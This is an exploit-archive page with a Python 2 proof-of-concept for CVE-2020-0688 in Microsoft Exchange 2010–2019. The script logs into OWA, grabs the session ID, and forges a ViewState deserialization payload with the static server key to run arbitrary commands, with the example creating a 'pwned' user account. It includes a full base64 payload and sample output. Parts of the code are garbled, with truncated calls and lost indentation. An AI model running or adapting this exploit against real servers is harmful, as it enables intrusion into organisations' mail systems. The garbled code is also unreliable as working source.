Microsoft Exchange 2019 Remote Code Execution

Microsoft Exchange 2019 version suffers from an authenticated remote code execution vulnerability.

MD5 | b2b86272dc81d9cb5dc7d3f7fcf5da05

# Exploit Title: Microsoft Exchange 2019 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1]
# [2]
# Vendor Homepage:
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688

#! /usr/bin/env python
# -*- coding: utf-8 -*-

Copyright 2020 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <>.

File name
written by tijl[dot]deneut[at]howest[dot]be for

This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from

Example Output: -t -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass

# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')

def convertInt(iInput, length):
return struct.pack("<I" , int(iInput)).encode('hex')[:length]

def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
strPart1 = strSerTemplate.replace('###payload###', sCommand)
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
strLength1 = convertInt(0x06b8 + len(sCommand),4)
strLength2 = convertInt(0x04da + len(sCommand),4)
strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]

## PART2 of the payload to hash
strPart2 = '274e7bb9'
for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
strPart2 = binascii.unhexlify(strPart2)

strMac =, strPart1 + strPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
return strResult

def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
try: sResult = + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
print('[+] Login worked')

## Verify Session ID
sSessionId = ''
sResult ='ecp/default.aspx', headers={'User-Agent':'Python'})).read()
for cookie in oCookjar:
if 'SessionId' in sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)

## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'favicon'
if 'favicon' in sVersion:
print('[*] Problem, this user has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
print('[+] Detected OWA version number '+sVersion)

## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState

def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target IP or hostname (e.g.', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or [email protected])', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if == '' or args.username == '' or args.command == '':
print('[!] Example usage: ')
print(' ' + sys.argv[0] + ' -t -u joe -c "net user pwned pwned /add"')
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
oCookjar = cookielib.CookieJar()
#oProxy = urllib2.ProxyHandler({'http': '', 'https': ''})
#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
sSessionId, sTarget, sViewState = verifyLogin(, args.username, sPassword, oOpener, oCookjar)
ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
print(' Sending now ...')
try:, headers={'User-Agent':'Python'}))
except urllib2.HTTPError, e:
if e.code == '500': print('[+] This probably worked (Error Code 500 received)')

if __name__ == "__main__":

Related Posts